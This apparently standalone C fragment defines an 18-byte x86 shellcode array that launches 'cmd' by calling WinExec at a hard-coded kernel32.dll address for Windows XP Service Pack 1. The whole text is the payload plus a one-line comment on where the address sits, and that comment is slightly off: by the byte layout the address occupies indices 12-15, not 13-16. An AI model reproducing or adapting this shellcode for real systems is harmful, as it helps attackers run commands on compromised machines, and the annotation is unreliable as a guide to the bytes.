unsigned char shellcode[19] = "\xC7\x45\xFD\x63\x6D\x64\x20\x8D\x45\xFD\x50\xB8\x35\xFD\xE6\x77\xFF\xD0"; shellcode[13-16] is address for WinExec in kernel32.dll (77e6fd35h) current address is for windows xp service pack 1